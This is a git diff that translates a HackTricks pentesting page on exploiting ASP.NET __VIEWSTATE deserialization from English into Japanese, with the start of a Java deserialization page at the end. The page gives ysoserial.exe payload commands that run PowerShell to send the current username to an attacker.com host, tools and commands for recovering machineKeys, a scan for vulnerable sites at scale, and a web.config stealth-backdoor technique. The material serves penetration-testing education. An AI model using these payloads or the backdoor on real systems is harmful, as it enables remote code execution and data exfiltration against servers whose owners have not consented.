MAC validation** and setting the `viewStateEncryptionMode` property to `Always`. This means that all ASP.NET pages that do not set the `ViewStateEncryptionMode` property to `Auto` or `Never` always use encrypted ViewState parameters. However, as the **ViewState do not use the MAC validation feature, they are now vulnerable to remote code execution via deserialising untrusted data**. The following shows an example: - +攻撃者がアプリケーションのルートにある**`web.config`**を**変更**できる場合、彼らはサーバー上で簡単にコードを実行できます。しかし、攻撃者にとっては、アプリケーションにステルスバックドアを埋め込むことが良い選択肢となるかもしれません。これは、**MAC検証を無効にし、`viewStateEncryptionMode`プロパティを`Always`に設定する**ことで実現できます。これにより、`ViewStateEncryptionMode`プロパティを`Auto`または`Never`に設定しないすべてのASP.NETページは常に暗号化されたViewStateパラメータを使用します。しかし、**ViewStateはMAC検証機能を使用しないため、信頼できないデータの逆シリアル化によるリモートコード実行の脆弱性が生じます**。以下に例を示します: ```markup … - + … - - - - - + + + + + ``` +別のオプションとして、任意のキーとアルゴリズムを使用して`machineKey`セクションを設定し、他の攻撃者を防ぐことができます! -Another option for a stand-alone website would be to set the `machineKey` section with arbitrary keys and algorithms to stop other attackers! - -It should be noted that setting the `EnableViewState` property to `False` does not stop this attack as the ViewState will still be parsed by ASP.NET. - +`EnableViewState`プロパティを`False`に設定しても、ViewStateはASP.NETによって解析されるため、この攻撃を防ぐことはできません。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index 7258a1499..26b7be2e2 100644 --- a/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -1,183 +1,156 @@ -# Exploiting \_\_VIEWSTATE without knowing the secrets +# \_\_VIEWSTATEパラメータの秘密を知らずに悪用する
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +もしあなたが**ハッキングのキャリア**に興味があり、不可能を可能にすることに興味があるなら、**採用しています!**(流暢なポーランド語の読み書きが必要です)。 {% embed url="https://www.stmcyber.com/careers" %} -## What is ViewState +## ViewStateとは -**ViewState** is the method that the ASP.NET framework uses by default to p**reserve page and control values between web pages**. When the HTML for the page is rendered, the current state of the page and values that need to be retained during postback are serialized into base64-encoded strings and output in the ViewState hidden field or fields.\ -The following properties or combination of properties apply to ViewState information: +**ViewState**は、ASP.NETフレームワークがデフォルトで使用する方法で、**Webページ間でページとコントロールの値を保持**するために使用されます。ページのHTMLがレンダリングされるとき、ページの現在の状態とポストバック中に保持する必要がある値は、base64エンコードされた文字列にシリアル化され、ViewStateの非表示フィールドまたはフィールドに出力されます。\ +ViewState情報には、次のプロパティまたはプロパティの組み合わせが適用されます: * Base64 - * Can be defined using EnableViewStateMac and ViewStateEncryptionMode attribute set to false -* Base64 + MAC (Message Authentication Code) Enabled - * Can be defined using EnableViewStateMac attribute set to true -* Base64 + Encrypted - * Can be defined using viewStateEncryptionMode attribute set to true +* EnableViewStateMacとViewStateEncryptionMode属性をfalseに設定して定義できます +* Base64 + MAC(メッセージ認証コード)が有効 +* EnableViewStateMac属性をtrueに設定して定義できます +* Base64 + 暗号化 +* viewStateEncryptionMode属性をtrueに設定して定義できます -## **Test Cases** +## テストケース ![](<../../.gitbook/assets/image (309) (2).png>) -### Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false - -It is also possible to disable the ViewStateMAC completely by setting the `AspNetEnforceViewStateMac` registry key to zero in: +### テストケース:1 – EnableViewStateMac=false および viewStateEncryptionMode=false +また、`AspNetEnforceViewStateMac`レジストリキーをゼロに設定することで、ViewStateMACを完全に無効にすることも可能です。設定場所は以下の通りです: ``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere} ``` +**ViewState属性の特定** -**Identifying ViewState Attributes** - -You can try to identify if ViewState is MAC protected by capturing a request containing this parameter with BurpSuite: +ViewStateがMACで保護されているかどうかを特定するために、このパラメータを含むリクエストをBurpSuiteでキャプチャすることができます。 ![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/1.0.png) -If Mac is not used to protect the parameter you can exploit it using [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net). - +パラメータを保護するためにMacが使用されていない場合、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)を使用してそれを悪用することができます。 ``` ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" ``` +### テストケース 1.5 - テストケース 1と同様ですが、ViewStateクッキーがサーバーから送信されません -### Test case 1.5 – Like Test case 1 but the ViewState cookie isn't sent by the server +開発者は、ViewStateがHTTPリクエストの一部にならないようにすることができます(ユーザーはこのクッキーを受け取りません)。 +ViewStateが存在しない場合、ViewStateの逆シリアル化に起因する潜在的な脆弱性から実装が安全であると考えるかもしれません。 +しかし、それは事実ではありません。私たちはリクエストボディにViewStateパラメータを追加し、ysoserialを使用して作成したシリアル化ペイロードを送信することで、**コードの実行**を依然として達成することができます。これは**ケース 1**で示されています。 -Developers can **remove ViewState** from becoming part of an HTTP Request (the user won't receive this cookie).\ -One may assume that if **ViewState** is **not present**, their implementation is **secure** from any potential vulnerabilities arising with ViewState deserialization.\ -However, that is not the case. If we **add ViewState parameter** to the request body and send our serialized payload created using ysoserial, we will still be able to achieve **code execution** as shown in **Case 1**. - -### Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false - -In order to **enable ViewState MAC** for a **specific page** we need to make following changes on a specific aspx file: +### テストケース: 2 - .Net < 4.5 および EnableViewStateMac=true & ViewStateEncryptionMode=false +特定のページでViewState MACを有効にするには、特定のaspxファイルで以下の変更を行う必要があります: ```bash <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%> ``` - -We can also do it for **overall** application by setting it on the **web.config** file as shown below: - +**全体的に**アプリケーションに対しても、以下に示すように**web.config**ファイルで設定することもできます: ```markup - - + + ``` - -As the parameter is MAC protected this time to successfully execute the attack we first need the key used. In this case, BurpSuite will let us know that the parameter is MAC protected: +この場合、パラメータはMACで保護されているため、攻撃を成功させるためにはまず使用されているキーを取得する必要があります。BurpSuiteを使用すると、パラメータがMACで保護されていることがわかります: ![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.0.png) -You can try to use [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)to find the key used. - +[**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)を使用して使用されているキーを見つけることができます。 ``` AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/" --encrypteddata : __VIEWSTATE parameter value of the target application --modifier : __VIWESTATEGENERATOR parameter value ``` - ![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.1.png) -[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) is another tool which can identify known machineKeys. It is written in Python, so unlike Blacklist3r, there is no Windows dependency. For .NET viewstates, there is a "python blacklist3r" utility, which is the quickest way to use it. - -It can either be supplied with the viewstate and generator directly: +[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)は、既知のmachineKeysを特定することができる別のツールです。Pythonで書かれているため、Blacklist3rとは異なり、Windowsに依存しません。.NETのviewstateに対しては、"python blacklist3r"ユーティリティがあり、これが最も簡単な使用方法です。 +viewstateとgeneratorを直接指定することもできます。 ``` pip install badsecrets git clone https://github.com/blacklanternsecurity/badsecrets cd badsecrets python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE ``` - ![](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png) -Or, it can connect directly to the target URL and try to carve the viewstate out of the HTML: - +または、対象のURLに直接接続し、HTMLからviewstateを切り出すことができます。 ``` pip install badsecrets git clone https://github.com/blacklanternsecurity/badsecrets cd badsecrets python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx ``` - -![](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png) - -To search for vulnerable viewstates at scale, in conjunction with subdomain enumeration, the `badsecrets` [**BBOT**](exploiting-\_\_viewstate-parameter.md) module can be used: - +大規模な検索で脆弱なviewstateを探すために、サブドメインの列挙と組み合わせて、`badsecrets` [**BBOT**](exploiting-\_\_viewstate-parameter.md)モジュールを使用できます。 ``` bbot -f subdomain-enum -m badsecrets -t evil.corp ``` - ![](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png) -If you are lucky and the key is found,you can proceed with the attack using [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** - +もし運が良ければ、キーが見つかったら、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**を使用して攻撃を進めることができます**:** ``` ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" --generator = {__VIWESTATEGENERATOR parameter value} ``` - -In cases where `_VIEWSTATEGENERATOR` parameter **isn't sent** by the server you **don't** need to **provide** the `--generator` parameter **but these ones**: - +サーバーが`_VIEWSTATEGENERATOR`パラメータを送信しない場合、`--generator`パラメータを指定する必要はありませんが、以下のパラメータが必要です。 ```bash --apppath="/" --path="/hello.aspx" ``` +### テストケース:3 – .Net < 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true -### Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true - -In this case Burp doesn't find if the parameter is protected with MAC because it doesn't recognise the values. Then, the value is probably encrypted and you will **need the Machine Key to encrypt your payload** to exploit the vulnerability. +この場合、Burp はパラメータが MAC で保護されているかどうかを見つけることができません。値を認識しないためです。そのため、値はおそらく暗号化されており、脆弱性を悪用するためには**マシンキーが必要です**。 ![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.0.png) -**In this case the** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **module is under development...** +**この場合、**[**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **モジュールは開発中です...** -**Prior to .NET 4.5**, ASP.NET can **accept** an **unencrypted** \_`__VIEWSTATE`\_parameter from the users **even** if **`ViewStateEncryptionMode`** has been set to _**Always**_. ASP.NET **only checks** the **presence** of the **`__VIEWSTATEENCRYPTED`** parameter in the request. **If one removes this parameter, and sends the unencrypted payload, it will still be processed.** +**.NET 4.5 より前のバージョンでは**、ASP.NET は、**`ViewStateEncryptionMode`** が _**Always**_ に設定されていても、ユーザーからの**暗号化されていない** \_`__VIEWSTATE`\_パラメータを**受け入れることができます**。ASP.NET は、リクエスト内の **`__VIEWSTATEENCRYPTED`** パラメータの**存在のみをチェックします**。**このパラメータを削除し、暗号化されていないペイロードを送信すると、それは処理されます**。 -Threfore, if the Machinekey is known (e.g. via a directory traversal issue), [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) command used in the **Case 2**, can be used to perform RCE using ViewState deserialization vulnerability. +したがって、マシンキーが既知の場合(たとえば、ディレクトリトラバーサルの問題によって)、**Case 2** で使用される [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) コマンドを使用して、ViewState の逆シリアル化の脆弱性を利用して RCE を実行することができます。 -* Remove `__VIEWSTATEENCRYPTED` parameter from the request in order to exploit the ViewState deserialization vulnerability, else it will return a Viewstate MAC validation error and exploit will fail as shown in Figure: +* ViewState の逆シリアル化の脆弱性を悪用するためには、リクエストから `__VIEWSTATEENCRYPTED` パラメータを削除する必要があります。そうしないと、Viewstate MAC 検証エラーが返され、エクスプロイトは失敗します(図参照): ![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.1.png) -### Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false - -We can force the usage of ASP.NET framework by specifying the below parameter inside the web.config file as shown below. +### テストケース:4 – .Net >= 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true/false ただし、両方の属性を false に設定 +以下のように、web.config ファイル内に次のパラメータを指定することで、ASP.NET フレームワークの使用を強制することができます。 ```markup ``` - -Alternatively, this can be done by specifying the below option inside the `machineKey` paramter of web.config file. - +代わりに、web.configファイルの`machineKey`パラメータの内部に以下のオプションを指定することでも実行できます。 ```bash compatibilityMode="Framework45" ``` - -As in the previous case Burp doesn't identify if the request is MAC protected because the **value is encrypted.** Then, to send a **valid payload the attacker need the key**. +前のケースと同様に、BurpはリクエストがMACで保護されているかどうかを識別しません。なぜなら、値が暗号化されているからです。したがって、有効なペイロードを送信するには、攻撃者は鍵が必要です。 ![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.0.png) -You can try to use [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)to find the key being used: - +[**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)を使用して、使用されている鍵を見つけることができます。 ``` AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx" @@ -185,52 +158,45 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw --IISDirPath = {Directory path of website in IIS} --TargetPagePath = {Target page path in application} ``` - -For a more detailed description for IISDirPath and TargetPagePath [refer here](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) +IISDirPathとTargetPagePathの詳細な説明については、[こちら](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)を参照してください。 ![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.1.png) -Or, with [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (with a generator value): - +または、[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)を使用して(ジェネレータの値を指定して): ``` cd badsecrets python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415 ``` - ![](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png) -Once a valid Machine key is identified, **the next step is to generate a serialized payload using** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) - +有効なマシンキーが特定されたら、**次のステップは**[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**を使用してシリアライズされたペイロードを生成することです。** ``` ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" ``` - -If you have the value of `__VIEWSTATEGENERATOR` you can try to **use** the `--generator` parameter with that value and **omit** the parameters `--path` and `--apppath` +`__VIEWSTATEGENERATOR`の値がある場合、その値を使用して`--generator`パラメータを試し、`--path`と`--apppath`パラメータを省略することができます。 ![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png) -If the ViewState deserialization vulnerability is successfully exploited, an attacker-controlled server will receive an out of band request containing the username. [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) +ViewStateの逆シリアル化の脆弱性が成功裏に悪用されると、攻撃者が制御するサーバーはユーザー名を含む外部リクエストを受け取ります。[成功した悪用のPoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) -### Test Case 6 – ViewStateUserKeys is being used - -The **ViewStateUserKey** property can be used to **defend** against a **CSRF attack**. If such a key has been defined in the application and we try to generate the **ViewState** payload with the methods discussed till now, the **payload won’t be processed by the application**.\ -You need to use one more parameter in order to create correctly the payload: +### テストケース6 - ViewStateUserKeysが使用されています +**ViewStateUserKey**プロパティは、**CSRF攻撃**に対して**防御**するために使用できます。アプリケーションでこのようなキーが定義されており、今までに説明した方法で**ViewState**ペイロードを生成しようとすると、**アプリケーションによってペイロードは処理されない**でしょう。\ +正しくペイロードを作成するために、もう1つのパラメータを使用する必要があります: ```bash --viewstateuserkey="randomstringdefinedintheserver" ``` +### 成功した攻撃の結果 -### Result of a Successful Exploitation +すべてのテストケースにおいて、ViewStateのYSoSerial.Netペイロードが**成功**した場合、サーバーは「**500 Internal server error**」という応答を返し、応答コンテンツに「**The state information is invalid for this page and might be corrupted**」と表示されます。また、以下の図に示すように、OOBリクエストを取得します。 -For all the test cases, if the ViewState YSoSerial.Net payload works **successfully** then the server responds with “**500 Internal server error**” having response content “**The state information is invalid for this page and might be corrupted**” and we get the OOB request as shown in Figures below: +![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/5.0POC-of-Seccuessful-exploitation.png) -![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/5.0POC-of-Seccuessful-exploitation.png) +現在のユーザー名を含むアウトオブバンドリクエスト -out of band request with the current username +![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/5.1POC-of-Seccuessful-exploitation.png) -![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/5.1POC-of-Seccuessful-exploitation.png) - -## References +## 参考文献 * [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) * [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\ @@ -239,7 +205,7 @@ out of band request with the current username -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +もしあなたが**ハッキングのキャリア**に興味があり、解読不能なものをハックしたい場合 - **私たちは採用しています!**(流暢なポーランド語の読み書きが必要です)。 {% embed url="https://www.stmcyber.com/careers" %} @@ -247,10 +213,10 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** diff --git a/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md b/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md index 30d9960de..9c25c6d15 100644 --- a/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md +++ b/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md @@ -1,88 +1,80 @@ -# Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner +# Java DNSデシリアライゼーション、GadgetProbe、およびJavaデシリアライゼーションスキャナー -## Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner +## Java DNSデシリアライゼーション、GadgetProbe、およびJavaデシリアライゼーションスキャナー
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
